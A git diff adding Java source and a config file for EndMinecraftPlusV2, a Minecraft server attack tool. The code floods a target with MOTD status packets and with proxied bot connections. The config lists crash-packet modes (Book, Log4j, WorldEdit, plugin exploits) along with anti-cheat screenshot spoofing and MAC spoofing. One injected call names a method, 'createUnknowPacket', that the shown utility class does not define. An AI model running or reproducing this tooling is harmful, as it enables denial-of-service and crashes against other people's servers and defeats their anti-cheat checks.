diff --git a/AdvanceModule/src/cn/serendipityr/EndMinecraftPlusV2/AdvanceModule/MCForge/MCForgeInject.java b/AdvanceModule/src/cn/serendipityr/EndMinecraftPlusV2/AdvanceModule/MCForge/MCForgeInject.java
new file mode 100644
index 0000000..8134b03
--- /dev/null
+++ b/AdvanceModule/src/cn/serendipityr/EndMinecraftPlusV2/AdvanceModule/MCForge/MCForgeInject.java
@@ -0,0 +1,52 @@
+package cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.MCForge;
+
+import javassist.ClassPool;
+import javassist.CtClass;
+import javassist.CtMethod;
+
+public class MCForgeInject {
+ public static boolean inject() {
+
+ try {
+ if (MCForge.isVersion1710()) {
+ injectPluginMessage();
+ injectTryCatch("org.spacehq.mc.protocol.packet.ingame.server.entity.spawn.ServerSpawnMobPacket", "read",
+ "{$1.readBytes($1.available());return;}");
+ injectTryCatch("org.spacehq.mc.protocol.packet.ingame.server.world.ServerUpdateTileEntityPacket",
+ "read", "{$1.readBytes($1.available());return;}");
+ injectTryCatch("org.spacehq.packetlib.packet.PacketProtocol", "createIncomingPacket",
+ "{return luohuayu.MCForgeProtocol.MCForgeUtils.createUnknowPacket();}");
+ } else {
+ ClassPool classPool = ClassPool.getDefault();
+ CtClass ctClass = classPool.getOrNull("org.spacehq.mc.protocol.data.MagicValues");
+ if (ctClass == null)
+ ctClass = classPool.get("org.spacehq.mc.protocol.data.game.MagicValues");
+ CtMethod method1 = ctClass.getDeclaredMethod("key");
+ method1.addCatch("{return null;}", classPool.get("java.lang.Exception"));
+ CtMethod method2 = ctClass.getDeclaredMethod("value");
+ method2.addCatch("{return null;}", classPool.get("java.lang.Exception"));
+ ctClass.toClass();
+ }
+ return true;
+ } catch (Exception e) {
+ return false;
+ }
+ }
+
+ public static void injectPluginMessage() throws Exception {
+ ClassPool classPool = ClassPool.getDefault();
+ CtClass ctClass = classPool.get("org.spacehq.mc.protocol.packet.ingame.server.ServerPluginMessagePacket");
+ CtMethod method = ctClass.getDeclaredMethod("read");
+ method.setBody("{this.channel=$1.readString();\n"
+ + "this.data=$1.readBytes(luohuayu.MCForgeProtocol.MCForgeUtils.readVarShort($1));}");
+ ctClass.toClass();
+ }
+
+ public static void injectTryCatch(String cls, String func, String code) throws Exception {
+ ClassPool classPool = ClassPool.getDefault();
+ CtClass ctClass = classPool.get(cls);
+ CtMethod method = ctClass.getDeclaredMethod(func);
+ method.addCatch(code, classPool.get("java.lang.Exception"));
+ ctClass.toClass();
+ }
+}
diff --git a/AdvanceModule/src/cn/serendipityr/EndMinecraftPlusV2/AdvanceModule/MCForge/MCForgeMOTD.java b/AdvanceModule/src/cn/serendipityr/EndMinecraftPlusV2/AdvanceModule/MCForge/MCForgeMOTD.java
new file mode 100644
index 0000000..1659f0b
--- /dev/null
+++ b/AdvanceModule/src/cn/serendipityr/EndMinecraftPlusV2/AdvanceModule/MCForge/MCForgeMOTD.java
@@ -0,0 +1,144 @@
+package cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.MCForge;
+
+import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
+import com.google.gson.Gson;
+
+import java.io.ByteArrayOutputStream;
+import java.io.DataInputStream;
+import java.io.DataOutputStream;
+import java.io.IOException;
+import java.net.InetSocketAddress;
+import java.net.Socket;
+import java.util.HashMap;
+import java.util.Map;
+
+public class MCForgeMOTD {
+ public Map pingGetModsList(String ip, int port, int version) {
+ Map modList = new HashMap();
+ Socket socket = new Socket();
+ try {
+ socket.connect(new InetSocketAddress(ip, port));
+ if(socket.isConnected()) {
+ DataOutputStream out = new DataOutputStream(socket.getOutputStream());
+
+ ByteArrayOutputStream packet = new ByteArrayOutputStream();
+ DataOutputStream packetOut = new DataOutputStream(packet);
+
+ packetOut.writeByte(0); // handshake packet id
+ writeVarInt(packetOut, version); // version
+ writeVarInt(packetOut, ip.length()); // host length
+ packetOut.writeBytes(ip); // host
+ packetOut.writeShort(port); // port
+ writeVarInt(packetOut, 1); // next to status
+
+ writeVarInt(out, packet.size()); // packet length
+ out.write(packet.toByteArray()); // handshake packet
+
+ out.writeByte(1); // packet length
+ out.writeByte(0); // status packet id
+
+ out.flush();
+
+ DataInputStream in = new DataInputStream(socket.getInputStream());
+ readVarInt(in); // packet length
+ int packetID = readVarInt(in);
+ int dataLength = readVarInt(in);
+
+ if (packetID == 0 && dataLength > 0) { // Response
+ byte[] responseData = new byte[dataLength];
+ in.readFully(responseData);
+ Response response = new Gson().fromJson(new String(responseData), Response.class);
+ if (response.modinfo != null) {
+ for (Response.ModInfo.ModID modid : response.modinfo.modList) {
+ modList.put(modid.modid, modid.version);
+ }
+ }
+ }
+ }
+ } catch (Exception e) {
+
+ LogUtil.doLog(1, "获取服务器上的Forge Mods时发生错误。详细信息: " + e.getMessage(), null);
+
+ try {
+ if (socket.isConnected())
+ socket.close();
+ } catch (IOException ignored) {}
+ }
+ return modList;
+ }
+
+ /**
+ * @author thinkofdeath
+ * See: https://gist.github.com/thinkofdeath/e975ddee04e9c87faf22
+ */
+ public int readVarInt(DataInputStream in) throws IOException {
+ int i = 0;
+ int j = 0;
+ while (true) {
+ int k = in.readByte();
+
+ i |= (k & 0x7F) << j++ * 7;
+
+ if (j > 5)
+ throw new RuntimeException("VarInt too big");
+
+ if ((k & 0x80) != 128)
+ break;
+ }
+
+ return i;
+ }
+
+ /**
+ * @throws IOException
+ * @author thinkofdeath
+ * See: https://gist.github.com/thinkofdeath/e975ddee04e9c87faf22
+ */
+ public void writeVarInt(DataOutputStream out, int paramInt) throws IOException {
+ while (true) {
+ if ((paramInt & 0xFFFFFF80) == 0) {
+ out.writeByte(paramInt);
+ return;
+ }
+
+ out.writeByte(paramInt & 0x7F | 0x80);
+ paramInt >>>= 7;
+ }
+ }
+
+ class Response {
+ public Object description;
+ public Players players;
+ public Version version;
+ public ModInfo modinfo;
+
+ class Description {
+ public String text;
+ public String translate;
+
+ public String getDescription() {
+ return text != null ? text : translate;
+ }
+ }
+
+ class Players {
+ public int max;
+ public int online;
+ }
+
+ class Version {
+ public String name;
+ public int protocol;
+ }
+
+ class ModInfo {
+ public String type;
+ public ModID[] modList;
+
+ class ModID {
+ public String modid;
+ public String version;
+ }
+ }
+ }
+}
diff --git a/AdvanceModule/src/cn/serendipityr/EndMinecraftPlusV2/AdvanceModule/MCForge/MCForgeUtils.java b/AdvanceModule/src/cn/serendipityr/EndMinecraftPlusV2/AdvanceModule/MCForge/MCForgeUtils.java
new file mode 100644
index 0000000..6b501c7
--- /dev/null
+++ b/AdvanceModule/src/cn/serendipityr/EndMinecraftPlusV2/AdvanceModule/MCForge/MCForgeUtils.java
@@ -0,0 +1,25 @@
+package cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.MCForge;
+
+import org.spacehq.packetlib.io.NetInput;
+
+import java.io.IOException;
+
+public class MCForgeUtils {
+ public static int readVarShort(NetInput in) throws IOException {
+ int low = in.readUnsignedShort();
+ int high = 0;
+ if ((low & 0x8000) != 0) {
+ low = low & 0x7FFF;
+ high = in.readUnsignedByte();
+ }
+ return ((high & 0xFF) << 15) | low;
+ }
+
+ public static UnknownPacket createUnknownPacket() {
+ try {
+ return UnknownPacket.class.newInstance();
+ } catch (Exception e) {
+ return null;
+ }
+ }
+}
diff --git a/AdvanceModule/src/cn/serendipityr/EndMinecraftPlusV2/AdvanceModule/MCForge/UnknownPacket.java b/AdvanceModule/src/cn/serendipityr/EndMinecraftPlusV2/AdvanceModule/MCForge/UnknownPacket.java
new file mode 100644
index 0000000..941bb33
--- /dev/null
+++ b/AdvanceModule/src/cn/serendipityr/EndMinecraftPlusV2/AdvanceModule/MCForge/UnknownPacket.java
@@ -0,0 +1,20 @@
+package cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.MCForge;
+
+import org.spacehq.packetlib.io.NetInput;
+import org.spacehq.packetlib.io.NetOutput;
+import org.spacehq.packetlib.packet.Packet;
+
+import java.io.IOException;
+
+public class UnknownPacket implements Packet {
+ public boolean isPriority() {
+ return false;
+ }
+
+ public void read(NetInput in) throws IOException {
+ in.readBytes(in.available());
+ }
+
+ public void write(NetOutput out) {
+ }
+}
diff --git a/Main/Main.iml b/Main/Main.iml
new file mode 100644
index 0000000..16e0272
--- /dev/null
+++ b/Main/Main.iml
@@ -0,0 +1,45 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/Main/src/cn/serendipityr/EndMinecraftPlusV2/AttackManager/AttackManager.java b/Main/src/cn/serendipityr/EndMinecraftPlusV2/AttackManager/AttackManager.java
new file mode 100644
index 0000000..1fcacec
--- /dev/null
+++ b/Main/src/cn/serendipityr/EndMinecraftPlusV2/AttackManager/AttackManager.java
@@ -0,0 +1,105 @@
+package cn.serendipityr.EndMinecraftPlusV2.AttackManager;
+
+import cn.serendipityr.EndMinecraftPlusV2.EndMinecraftPlusV2;
+import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Bot.BotHandler;
+import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Bot.BotManager;
+import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketHandler;
+import cn.serendipityr.EndMinecraftPlusV2.VersionManager.ProtocolLibs;
+import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
+import cn.serendipityr.EndMinecraftPlusV2.Tools.DataUtil;
+import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
+
+public class AttackManager {
+ public static Boolean isDoubleAttack = false;
+
+ public static void doAttack() {
+ LogUtil.emptyLog();
+ DataUtil.loadData();
+
+ switch (ConfigUtil.AttackMethod) {
+ case 1:
+ case 4:
+ case 5:
+ // BotDebug & BotAttack
+ BotHandler botHandler;
+ PacketHandler packetHandler;
+ if (ProtocolLibs.currentVersion >= 4 && ProtocolLibs.currentVersion <= 5) {
+ // 1.7.X
+ botHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_7_X.BotHandler();
+ packetHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_7_X.PacketHandler();
+ } else if (ProtocolLibs.currentVersion == 47) {
+ // 1.8.X
+ botHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_8_X.BotHandler();
+ packetHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_8_X.PacketHandler();
+ } else if (ProtocolLibs.currentVersion <= 338) {
+ // 1.9.X-1.12.1
+ botHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_9_X_1_12_1.BotHandler();
+ packetHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_9_X_1_12_1.PacketHandler();
+ } else if (ProtocolLibs.currentVersion <= 340) {
+ // 1.12.2
+ botHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_12_2.BotHandler();
+ packetHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_12_2.PacketHandler();
+ } else if (ProtocolLibs.currentVersion <= 404) {
+ // 1.13.X
+ botHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_13_X.BotHandler();
+ packetHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_13_X.PacketHandler();
+ } else if (ProtocolLibs.currentVersion <= 498) {
+ // 1.14.X
+ botHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_14_X.BotHandler();
+ packetHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_14_X.PacketHandler();
+ } else if (ProtocolLibs.currentVersion <= 578) {
+ // 1.15.X
+ botHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_15_X.BotHandler();
+ packetHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_15_X.PacketHandler();
+ } else if (ProtocolLibs.currentVersion <= 754) {
+ // 1.16.X
+ botHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_16_X.BotHandler();
+ packetHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_16_X.PacketHandler();
+ } else if (ProtocolLibs.currentVersion <= 756) {
+ // 1.17.X
+ botHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_17_X.BotHandler();
+ packetHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_17_X.PacketHandler();
+ } else if (ProtocolLibs.currentVersion <= 758) {
+ // 1.18.X
+ botHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_18_X.BotHandler();
+ packetHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_18_X.PacketHandler();
+ } else if (ProtocolLibs.currentVersion <= 759) {
+ // 1.19
+ botHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_19.BotHandler();
+ packetHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_19.PacketHandler();
+ } else if (ProtocolLibs.currentVersion <= 760) {
+ // 1.19.1-1.19.2
+ botHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_19_1_1_19_2.BotHandler();
+ packetHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_19_1_1_19_2.PacketHandler();
+ } else if (ProtocolLibs.currentVersion <= 763) {
+ // 1.19.3-1.20.1
+ botHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_19_3_1_20_1.BotHandler();
+ packetHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_19_3_1_20_1.PacketHandler();
+ } else {
+ // 1.20.1-(Subsequent Versions)
+ botHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_20_X.BotHandler();
+ packetHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_20_X.PacketHandler();
+ }
+
+ BotManager botManager = new BotManager(botHandler, packetHandler);
+
+ if (ConfigUtil.AttackMethod.equals(5)) {
+ botManager.test();
+ } else {
+ botManager.startTask(isDoubleAttack, ProtocolLibs.getProtocolVersion());
+ }
+ break;
+ case 2:
+ // MotdAttack
+ MotdAttack.doAttack(false);
+ break;
+ case 3:
+ // MotdAttack(P)
+ MotdAttack.doAttack(true);
+ break;
+ default:
+ LogUtil.doLog(1, "攻击类型错误,停止运行。", null);
+ EndMinecraftPlusV2.Exit();
+ }
+ }
+}
diff --git a/Main/src/cn/serendipityr/EndMinecraftPlusV2/AttackManager/MotdAttack.java b/Main/src/cn/serendipityr/EndMinecraftPlusV2/AttackManager/MotdAttack.java
new file mode 100644
index 0000000..89e9f48
--- /dev/null
+++ b/Main/src/cn/serendipityr/EndMinecraftPlusV2/AttackManager/MotdAttack.java
@@ -0,0 +1,108 @@
+package cn.serendipityr.EndMinecraftPlusV2.AttackManager;
+
+import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.UniverseMethods;
+import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
+import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
+import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils;
+import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle;
+
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.net.InetSocketAddress;
+import java.net.Proxy;
+import java.net.Socket;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+
+public class MotdAttack {
+ private static int count = 0;
+ private static int failedCount = 0;
+
+ public static void doAttack(boolean hasProxy) {
+ ExecutorService executorService = Executors.newFixedThreadPool(ConfigUtil.MaxConnections);
+
+ long startTime = System.currentTimeMillis();
+ String title = hasProxy ? "MotdAttack(P)" : "MotdAttack";
+ new Thread(() -> {
+ while (System.currentTimeMillis() - startTime < ConfigUtil.AttackTime * 1000) {
+ if (!ConfigUtil.isLinux) {
+ SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - " + title + " | 当前连接数: " + count + "个 | 失败次数: " + failedCount + "次");
+ OtherUtils.doSleep(100);
+ } else {
+ LogUtil.doLog(0, "当前连接数: " + count + "个 | 失败次数: " + failedCount + "次", title);
+ OtherUtils.doSleep(5000);
+ }
+ }
+ }).start();
+
+ while (System.currentTimeMillis() - startTime < ConfigUtil.AttackTime * 1000) {
+ executorService.execute(new getMotdTask(hasProxy));
+ OtherUtils.doSleep(ConfigUtil.ConnectDelay);
+ }
+ shutdownAndAwaitTermination(executorService);
+ }
+
+ private static void shutdownAndAwaitTermination(ExecutorService executorService) {
+ executorService.shutdown(); // Disable new tasks from being submitted
+ try {
+ // Wait a while for existing tasks to terminate
+ if (!executorService.awaitTermination(60, TimeUnit.SECONDS)) {
+ executorService.shutdownNow(); // Cancel currently executing tasks
+ // Wait a while for tasks to respond to being cancelled
+ if (!executorService.awaitTermination(60, TimeUnit.SECONDS))
+ LogUtil.doLog(1, "Executor did not terminate", null);
+ }
+ } catch (InterruptedException ie) {
+ // (Re-)Cancel if current thread also interrupted
+ executorService.shutdownNow();
+ // Preserve interrupt status
+ Thread.currentThread().interrupt();
+ }
+ }
+
+ private static class getMotdTask implements Runnable {
+ private final boolean hasProxy;
+
+ public getMotdTask(boolean hasProxy) {
+ this.hasProxy = hasProxy;
+ }
+
+ @Override
+ public void run() {
+ try {
+ // 使用或不使用代理初始化 socket
+ Proxy proxy = hasProxy ? UniverseMethods.getProxy(UniverseMethods.getProxyType(ConfigUtil.ProxyType)) : Proxy.NO_PROXY;
+ Socket socket = new Socket(proxy);
+
+ // 连接到服务器
+ socket.connect(new InetSocketAddress(ConfigUtil.AttackAddress, ConfigUtil.AttackPort));
+ try (OutputStream out = socket.getOutputStream();
+ InputStream in = socket.getInputStream()) {
+
+ // 向输出流写入数据
+ out.write(new byte[]{0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01});
+ out.write(new byte[]{0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01,
+ 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00});
+ out.flush();
+
+ // 从输入流读取数据
+ byte[] buffer = new byte[12800];
+ if (in.read(buffer) != -1) {
+ LogUtil.doLog(0, "成功发送了Motd更新数据包。", "MotdAttack#" + Thread.currentThread().getName());
+ count++;
+ }
+ }
+
+ // 关闭 socket
+ socket.close();
+ OtherUtils.doSleep(ConfigUtil.ConnectDelay);
+ } catch (Throwable e) {
+ if (ConfigUtil.ShowFails) {
+ LogUtil.doLog(0, "发生错误: " + e, "MotdAttack#" + Thread.currentThread().getName());
+ }
+ failedCount++;
+ }
+ }
+ }
+}
diff --git a/Main/src/cn/serendipityr/EndMinecraftPlusV2/EndMinecraftPlusV2.java b/Main/src/cn/serendipityr/EndMinecraftPlusV2/EndMinecraftPlusV2.java
new file mode 100644
index 0000000..58370e2
--- /dev/null
+++ b/Main/src/cn/serendipityr/EndMinecraftPlusV2/EndMinecraftPlusV2.java
@@ -0,0 +1,58 @@
+package cn.serendipityr.EndMinecraftPlusV2;
+
+import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
+import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
+import cn.serendipityr.EndMinecraftPlusV2.Tools.ProxyUtil;
+import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle;
+import cn.serendipityr.EndMinecraftPlusV2.AttackManager.AttackManager;
+import cn.serendipityr.EndMinecraftPlusV2.VersionManager.ProtocolLibs;
+
+public class EndMinecraftPlusV2 {
+ public static String ver = "2.0.0";
+ public static Integer CfgVer = 7;
+
+ public static void main(String[] args) {
+ System.out.println("=======================-Designed by SerendipityR-=======================");
+ System.out.println(" EndMinecraft原作者 - @iuli-moe");
+ System.out.println(" Github发布页: https://github.com/SerendipityR-2022/EndMinecraftPlusV2");
+ System.out.println(" EndMinecraftPlusV2 (Ver: " + ver + ")" + " is loading......");
+ System.out.println("========================================================================");
+ try {
+ SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - Designed by SerendipityR");
+ } catch (Throwable e) {
+ ConfigUtil.isLinux = true;
+ }
+ LogUtil.emptyLog();
+ prepareConfig();
+ prepareProxy();
+ startAttack();
+ }
+
+ public static void prepareConfig() {
+ LogUtil.doLog(0, "正在载入配置文件...", "CFGUtil");
+ int result = new ConfigUtil().loadConfig(CfgVer);
+
+ if (result == 0) {
+ Exit();
+ }
+ }
+
+ public static void prepareProxy() {
+ if (!ConfigUtil.AttackMethod.equals(2)) {
+ LogUtil.doLog(0, "正在获取代理...", "ProxyUtil");
+ ProxyUtil.getProxies();
+ ProxyUtil.runUpdateProxiesTask(ConfigUtil.ProxyUpdateTime);
+ }
+ }
+
+ public static void startAttack() {
+ LogUtil.doLog(0, "正在载入Minecraft协议库...", "ProtocolLib");
+ ProtocolLibs.loadProtocolLib();
+ AttackManager.doAttack();
+ }
+
+ public static void Exit() {
+ LogUtil.doLog(0, "程序退出...", "INFO");
+ System.exit(0);
+ }
+}
diff --git a/Main/src/cn/serendipityr/EndMinecraftPlusV2/VersionManager/ProtocolLibs.java b/Main/src/cn/serendipityr/EndMinecraftPlusV2/VersionManager/ProtocolLibs.java
new file mode 100644
index 0000000..1184b1c
--- /dev/null
+++ b/Main/src/cn/serendipityr/EndMinecraftPlusV2/VersionManager/ProtocolLibs.java
@@ -0,0 +1,150 @@
+package cn.serendipityr.EndMinecraftPlusV2.VersionManager;
+
+import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
+import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
+import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils;
+
+import java.io.File;
+import java.lang.reflect.Field;
+import java.util.*;
+
+public class ProtocolLibs {
+ public static int currentVersion;
+ static boolean newVersion = false;
+
+ public static void loadProtocolLib() {
+ if (ConfigUtil.AttackMethod.equals(2) || ConfigUtil.AttackMethod.equals(3)) {
+ return;
+ }
+
+ LogUtil.doLog(0, "==========================================================", "ProtocolLib");
+ choseProtocolVer(scanProtocolLibs());
+
+ currentVersion = getProtocolVersion();
+ }
+
+ public static int getProtocolVersion() {
+ // 根据版本标志确定包前缀。
+ String packagePrefix = newVersion ? "com.github.steveice10.mc.protocol" : "org.spacehq.mc.protocol";
+
+ // 尝试从ProtocolConstants或MinecraftConstants类获取协议版本。
+ try {
+ Class> cls = getClass(packagePrefix + ".ProtocolConstants", packagePrefix + ".MinecraftConstants");
+ Field field = cls.getDeclaredField("PROTOCOL_VERSION");
+ return field.getInt(null); // 静态字段,因此使用null作为对象参数。
+ } catch (Exception ignored) {
+ // 如果出现任何异常,继续尝试其他方式。
+ }
+
+ // 如果从常量获取失败且是新版本,尝试从编解码器类获取。
+ if (newVersion) {
+ try {
+ Class> codecClass = Class.forName(packagePrefix + ".codec.MinecraftCodec");
+ Field codecField = codecClass.getField("CODEC");
+ Object codecObject = codecField.get(null); // 静态字段,因此使用null。
+
+ Field protocolVersionField = codecObject.getClass().getDeclaredField("protocolVersion");
+ protocolVersionField.setAccessible(true); // 确保私有字段可访问。
+ return (Integer) protocolVersionField.get(codecObject);
+ } catch (Exception ignored) {
+ // 如果出现任何异常,继续尝试其他方式。
+ }
+ }
+
+ // 如果所有尝试都失败,则返回默认值。
+ return -1;
+ }
+
+ // 辅助方法,尝试按名称加载类,如果首选名称失败,则尝试第二个名称。
+ private static Class> getClass(String primaryName, String secondaryName) throws ClassNotFoundException {
+ try {
+ return Class.forName(primaryName);
+ } catch (ClassNotFoundException e) {
+ return Class.forName(secondaryName);
+ }
+ }
+
+ public static List scanProtocolLibs() {
+ try {
+ Class.forName("javassist.CtClass");
+ } catch (ClassNotFoundException e) {
+ OtherUtils.loadLibrary(new File("libs", "javassist-3.22.0-CR2.jar"));
+ }
+
+ File libDir = new File("libs");
+ if (!libDir.exists() && libDir.mkdir()) {
+ LogUtil.doLog(0, "未找到[/libs]文件夹,请确认依赖库被正确放置。", "ProtocolLib");
+ }
+
+ List versionLibs = new ArrayList<>();
+ for (File file : Objects.requireNonNull(libDir.listFiles())) {
+ if ((file.getName().startsWith("MC-") || file.getName().startsWith("MCP-")) && file.getName().endsWith(".jar"))
+ versionLibs.add(file);
+ }
+
+ Collections.sort(versionLibs);
+ return versionLibs;
+ }
+
+ public static void choseProtocolVer(List versionLibs) {
+ // 使用自定义比较器对versionLibs列表进行排序
+ versionLibs.sort((f1, f2) -> {
+ String v1 = f1.getName().replaceAll("[^\\d.]", "");
+ String v2 = f2.getName().replaceAll("[^\\d.]", "");
+ return compareVersionStrings(v1, v2);
+ });
+
+ // 显示排序后的版本库
+ for (int i = 0; i < versionLibs.size(); i++) {
+ File file = versionLibs.get(i);
+ String filename = file.getName();
+ String version = filename.substring(filename.indexOf("-") + 1, filename.lastIndexOf("."));
+ LogUtil.doLog(0, "(" + (i + 1) + ") " + version, "ProtocolLib");
+ }
+
+ LogUtil.doLog(-1, "请选择一个Minecraft协议库版本: ", "ProtocolLib");
+
+ try {
+ Scanner scanner = new Scanner(System.in);
+ int sel = Integer.parseInt(scanner.nextLine());
+ File versionLib = versionLibs.get(sel - 1);
+
+ if (versionLib.getName().contains("MCP")) {
+ newVersion = true;
+ }
+
+ OtherUtils.loadLibrary(versionLib);
+ LogUtil.doLog(0, "当前协议库版本: " + getProtocolVersion(), "ProtocolLib");
+ } catch (Exception e) {
+ LogUtil.emptyLog();
+ LogUtil.doLog(1, "加载Minecraft协议库时发生错误! 详细信息:" + e, null);
+ LogUtil.doLog(0, "=========================错误排除=========================", "ProtocolLib");
+ LogUtil.doLog(0, " 1.检查[/libs]文件夹内依赖库是否完整", "ProtocolLib");
+ LogUtil.doLog(0, " 2.检查对应依赖库是否存在", "ProtocolLib");
+ LogUtil.doLog(0, " (如[1.8]需要[MC-1.8.jar])", "ProtocolLib");
+ LogUtil.doLog(0, " 3.请输入正确的协议库序号(如10)", "ProtocolLib");
+ LogUtil.doLog(0, "==========================================================", "ProtocolLib");
+ LogUtil.emptyLog();
+
+ choseProtocolVer(scanProtocolLibs());
+ }
+ }
+
+ // 版本号比较方法
+ public static int compareVersionStrings(String v1, String v2) {
+ String[] v1Components = v1.split("\\.");
+ String[] v2Components = v2.split("\\.");
+
+ int length = Math.max(v1Components.length, v2Components.length);
+ for (int i = 0; i < length; i++) {
+ int v1Part = i < v1Components.length ? Integer.parseInt(v1Components[i]) : 0;
+ int v2Part = i < v2Components.length ? Integer.parseInt(v2Components[i]) : 0;
+ if (v1Part < v2Part) {
+ return -1;
+ } else if (v1Part > v2Part) {
+ return 1;
+ }
+ }
+ return 0;
+ }
+}
diff --git a/Main/src/config.yml b/Main/src/config.yml
new file mode 100644
index 0000000..45c2240
--- /dev/null
+++ b/Main/src/config.yml
@@ -0,0 +1,163 @@
+###############################
+# EndMinecraftPlusV2 #
+# Designed by SerendipityR #
+###############################
+
+CfgVer: 7
+
+AttackSettings:
+ Address: "example.com"
+ Port: 25565
+ # 攻击方式:
+ # 1 - BotAttack - 集群假人(代理)
+ # 2 - MotdAttack - MOTD压测(无代理)
+ # 3 - MotdAttackP - MOTD压测(代理)
+ # 4 - DoubleAttack - 影分身攻击(代理,仅原版单服可用)
+ # 5 - BotDebug - 假人调试模式(无代理)
+ Method: 1
+ Time: 3600
+ ConnectDelay: 15
+ ConnectTimeout: 5000
+ # 实际连接数由代理质量和机器性能有关
+ # 进行无代理Motd压测时不建议大于32
+ MaxConnections: 2500
+ # 旧版漏洞利用,大概率无效
+ AntiAttackMode: true
+ DoubleExploitPlayer: "ImOldSix_666"
+ # 假人调试模式
+ DebugPlayer: "Genshin_Activate"
+ DebugPlayerActivities:
+ Enable: true
+ # 调试流程
+ # wait - 等待:<时间(ms)>
+ # chat - 发送聊天信息:<内容>
+ # randomTeleport - 随机传送:<次数>
+ # backTeleport - 回到重生点
+ # register&Login - 执行注册/登录:<密码>
+ # crashPacket - 发送崩服数据包:<数量>
+ Actions:
+ - "wait:1000"
+ - "chat:原神,启动!"
+ - "randomTeleport:1"
+ - "wait:1000"
+ - "backTeleport"
+ - "register&Login:genshinImpact"
+ - "crashPacket:20"
+ - "wait:1000"
+ - "crashPacket:20"
+ ShowFails: false
+
+AdvancedSettings:
+ # 启用Forge支持
+ ForgeSupport:
+ # 从mods文件夹中读取modId:version信息
+ Enable: true
+ ReadFromFiles: true
+ ModList:
+ - "exampleMod:1.0.0"
+ # 猫反作弊欺骗
+ CatAntiCheat:
+ Enable: false
+ CustomScreenShot: "test.png"
+ # 类加载列表,请注意版本特征
+ # 1.7.10 - net.minecraft.launchwrapper.ITweaker
+ # 1.12.2 - net.minecraft.launchwrapper.LaunchClassLoader
+ LoadedClass:
+ - "net.minecraft.launchwrapper.LaunchClassLoader"
+ # 需在mods文件夹中放入5个以上原始客户端模组
+ LoadedMods: "mods"
+ # MAC|Check欺骗
+ MACChecker:
+ RandomMAC: false
+ # 发 包 崩 服
+ # 来自FDPClient的魔法道具~
+ ServerCrasher:
+ # 1 - Book (BSign/BEdit) [仅1.12.2前可用]
+ # 2 - Log4j Exploit
+ # 3 - WorldEdit
+ # 4 - MultiverseCore
+ # 5 - PEX
+ Mode: 1
